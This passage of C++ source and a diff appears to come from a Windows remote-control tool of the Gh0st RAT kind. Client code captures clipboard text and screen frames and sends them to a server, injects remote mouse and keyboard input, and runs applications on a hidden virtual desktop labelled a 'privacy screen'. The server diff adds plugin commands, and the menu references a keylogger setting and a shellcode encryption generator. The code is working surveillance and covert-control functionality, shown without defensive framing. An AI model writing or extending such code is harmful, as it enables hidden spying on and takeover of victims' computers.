HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
|
||||
if (hGlobal == NULL) {
|
||||
CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
GlobalUnlock(hGlobal);
|
||||
CloseClipboard();
|
||||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
virtual DWORD WorkProcess() {
|
||||
CScreenManagerBase* This = this;
|
||||
This->InitScreenSpy();
|
||||
|
||||
This->SendBitMapInfo();
|
||||
if (This->m_bIsWorking)
|
||||
This->WaitForDialogOpen();
|
||||
This->SendScreenSize();
|
||||
clock_t last = clock();
|
||||
if (!This->SendFirstScreen()) {
|
||||
Mprintf("Send first screen failed!!!\n");
|
||||
return 0x20250224;
|
||||
}
|
||||
Mprintf("Succeed sending bmpInfo and first screen\n");
|
||||
|
||||
float fps = This->m_fps;
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
int s0 = sleep; // 两帧之间隔(ms)
|
||||
const int frames = fps; // 每秒调整屏幕发送速度
|
||||
const double alpha = 1.1; // 控制fps的因子
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
ULONG ulNextSendLength = 0;
|
||||
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (NULL == szBuffer) {
|
||||
continue;
|
||||
}
|
||||
int span = s0 - (clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
|
||||
c2 = 0;
|
||||
if (frames == ++c1) { // 连续一定次数耗时长
|
||||
s0 = (s0 <= 500) ? s0 * alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
|
||||
c1 = 0;
|
||||
if (frames == ++c2) { // 连续一定次数耗时短
|
||||
s0 = (s0 >= 40) ? s0 / alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
virtual DWORD ControlProcess() {
|
||||
CScreenManagerBase* pThis = this;
|
||||
pThis->WaitForDialogOpen();
|
||||
while (pThis->IsConnect() && pThis->m_bIsWorking) {
|
||||
// 分辨率大小改变了
|
||||
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
Sleep(2000);
|
||||
}
|
||||
Sleep(10);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
|
||||
return pThis->WorkProcess();
|
||||
}
|
||||
|
||||
static DWORD WINAPI ControlThread(LPVOID lparam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
|
||||
return pThis->ControlProcess();
|
||||
}
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||
if (len == 0) return L""; // 转换失败
|
||||
|
||||
std::wstring wideStr(len, L'\0');
|
||||
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||
|
||||
return wideStr;
|
||||
}
|
||||
|
||||
std::string GetTitle(HWND hWnd) {
|
||||
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
return title;
|
||||
}
|
||||
|
||||
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||
bool bReturn = false;
|
||||
|
||||
try {
|
||||
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||
return false;
|
||||
|
||||
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
|
||||
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||
|
||||
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||
if (!PathIsExe(path.c_str()))
|
||||
return false;
|
||||
PathRemoveFileSpec(szDirectoryName);
|
||||
STARTUPINFO sInfo = { 0 };
|
||||
PROCESS_INFORMATION pInfo = { 0 };
|
||||
|
||||
sInfo.cb = sizeof(sInfo);
|
||||
sInfo.lpDesktop = pszDesktopName;
|
||||
|
||||
//Launching a application into desktop
|
||||
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
TRUE,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
NULL,
|
||||
szDirectoryName,
|
||||
&sInfo,
|
||||
&pInfo);
|
||||
CloseHandle(pInfo.hProcess);
|
||||
CloseHandle(pInfo.hThread);
|
||||
TCHAR* pszError = NULL;
|
||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||
|
||||
if (pszError) {
|
||||
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||
LocalFree(pszError); // 释放内存
|
||||
}
|
||||
|
||||
if (bCreateProcessReturn)
|
||||
bReturn = true;
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
bReturn = false;
|
||||
}
|
||||
|
||||
return bReturn;
|
||||
}
|
||||
|
||||
virtual VOID SendBitMapInfo() {
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
LPBYTE szBuffer = new BYTE[ulLength];
|
||||
szBuffer[0] = m_DlgToken;
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
|
||||
virtual void SendScreenSize()
|
||||
{
|
||||
RECT rect = m_ScreenSpyObject->GetScreenRect();
|
||||
BYTE lpBuffer[sizeof(RECT) + 1];
|
||||
lpBuffer[0] = TOKEN_SCREEN_SIZE;
|
||||
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
|
||||
Send(lpBuffer, sizeof(lpBuffer));
|
||||
}
|
||||
|
||||
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
|
||||
int msgSize = sizeof(MYMSG);
|
||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||
msgSize = 48;
|
||||
else return; // 数据包不合法
|
||||
ULONG ulMsgCount = ulLength / msgSize;
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
if (nullptr == g_hDesk) {
|
||||
// 命令个数
|
||||
// 处理多个命令
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
|
||||
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
|
||||
case WM_MOUSEMOVE: {
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MOUSEWHEEL:
|
||||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||||
break;
|
||||
case WM_KEYDOWN: case WM_SYSKEYDOWN:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
|
||||
break;
|
||||
case WM_KEYUP: case WM_SYSKEYUP:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else { // 虚拟桌面
|
||||
HWND hWnd = NULL;
|
||||
BOOL mouseMsg = FALSE;
|
||||
POINT lastPointCopy = {};
|
||||
SetThreadDesktop(g_hDesk);
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (msg->message) {
|
||||
case WM_KEYUP:
|
||||
return;
|
||||
case WM_CHAR:
|
||||
|
||||
case WM_KEYDOWN: {
|
||||
m_point = m_lastPoint;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONDOWN: {
|
||||
// 记录右键按下时的坐标
|
||||
m_rmouseDown = TRUE;
|
||||
m_rclickPoint = msg->pt;
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONUP: {
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||
// 检查是否为系统菜单(如任务栏)
|
||||
char szClass[256] = { 0 };
|
||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
|
||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||
// 触发系统级右键菜单(任务栏)
|
||||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||
}
|
||||
else {
|
||||
// 普通窗口的右键菜单
|
||||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
|
||||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_LBUTTONUP) {
|
||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||
{
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||
m_rclickWnd = nullptr;
|
||||
}
|
||||
m_lmouseDown = FALSE;
|
||||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
switch (lResult) {
|
||||
case HTTRANSPARENT: {
|
||||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
break;
|
||||
}
|
||||
case HTCLOSE: {// 关闭窗口
|
||||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMINBUTTON: {// 最小化
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMAXBUTTON: {// 最大化
|
||||
WINDOWPLACEMENT windowPlacement;
|
||||
windowPlacement.length = sizeof(windowPlacement);
|
||||
GetWindowPlacement(hWnd, &windowPlacement);
|
||||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||
else
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_LBUTTONDOWN) {
|
||||
m_lmouseDown = TRUE;
|
||||
m_hResMoveWindow = NULL;
|
||||
RECT startButtonRect;
|
||||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||
GetWindowRect(hStartButton, &startButtonRect);
|
||||
if (PtInRect(&startButtonRect, m_point)) {
|
||||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
char windowClass[MAX_PATH] = { 0 };
|
||||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||
if (!lstrcmpA(windowClass, "#32768")) {
|
||||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_MOUSEMOVE) {
|
||||
if (!m_lmouseDown)
|
||||
continue;
|
||||
if (!m_hResMoveWindow)
|
||||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
else
|
||||
hWnd = m_hResMoveWindow;
|
||||
int moveX = lastPointCopy.x - m_point.x;
|
||||
int moveY = lastPointCopy.y - m_point.y;
|
||||
|
||||
RECT rect;
|
||||
GetWindowRect(hWnd, &rect);
|
||||
int x = rect.left;
|
||||
int y = rect.top;
|
||||
int width = rect.right - rect.left;
|
||||
int height = rect.bottom - rect.top;
|
||||
switch (m_resMoveType) {
|
||||
case HTCAPTION: {
|
||||
x -= moveX;
|
||||
y -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTTOP: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOM: {
|
||||
height -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTLEFT: {
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTRIGHT: {
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPLEFT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPRIGHT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMLEFT: {
|
||||
height -= moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMRIGHT: {
|
||||
height -= moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||
m_hResMoveWindow = hWnd;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
for (HWND currHwnd = hWnd;;) {
|
||||
hWnd = currHwnd;
|
||||
ScreenToClient(currHwnd, &m_point);
|
||||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||
if (!currHwnd || currHwnd == hWnd)
|
||||
break;
|
||||
}
|
||||
if (mouseMsg)
|
||||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public: // 纯虚函数
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
|
||||
virtual void InitScreenSpy() = 0;
|
||||
|
||||
HDESK g_hDesk;
|
||||
std::string m_DesktopID;
|
||||
void* m_ptrUser;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
BOOL m_bIsWorking;
|
||||
long m_oldwidth, m_oldheigh;
|
||||
int m_biBitCount;
|
||||
int m_fps;
|
||||
int m_DlgToken; // 这个值决定打开哪个对话框
|
||||
HANDLE m_hWorkThread, m_hBlankThread;
|
||||
|
||||
// 虚拟桌面
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // 标记右键是否按下
|
||||
POINT m_rclickPoint; // 右键点击坐标
|
||||
HWND m_rclickWnd; // 右键窗口
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -322,6 +322,9 @@ enum {
|
||||
|
||||
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||||
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
|
||||
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
|
||||
Binary file not shown.
@@ -671,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
|
||||
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
|
||||
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
|
||||
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
|
||||
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
|
||||
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -996,6 +999,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
|
||||
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
|
||||
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
|
||||
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
|
||||
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
|
||||
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
@@ -4361,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
|
||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -4511,6 +4520,23 @@ void CMy2015RemoteDlg::OnMachineManager()
|
||||
BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
void CMy2015RemoteDlg::OnExperimentFileManager()
|
||||
{
|
||||
BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN; //向被控端发送打开插件文件管理对话框命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentPrivateScreen()
|
||||
{
|
||||
BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN; //向被控端发送打开隐私屏幕(虚拟桌面)命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentDrawingBoard()
|
||||
{
|
||||
BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN; //向被控端发送打开远程画板命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||
@@ -5728,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
|
||||
// 统一的 V1/V2 授权验证
|
||||
std::string ip = ContextObject->GetPeerName();
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
|
||||
valid = authorized;
|
||||
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
|
||||
|
||||
@@ -7177,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
|
||||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||||
const std::string& hmacV2, const std::string& ip, const char* source)
|
||||
const std::string& hmacV2, const std::string& ip, const char* source,
|
||||
CONTEXT_OBJECT* sender)
|
||||
{
|
||||
BOOL authorized = -1;
|
||||
bool isV2 = false;
|
||||
@@ -7203,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
ExecuteAuthFailedTrigger(sender);
|
||||
}
|
||||
}
|
||||
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
|
||||
@@ -7224,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
ExecuteAuthFailedTrigger(sender);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -7320,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
|
||||
// 统一的 V1/V2 授权验证
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
|
||||
(void)expired; // 心跳不需要处理过期续期
|
||||
|
||||
// 检查并发送预设续期(多点验证)
|
||||
@@ -11451,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx || m_DllList.empty()) return;
|
||||
|
||||
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
|
||||
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 获取触发器插件列表(从缓存获取)
|
||||
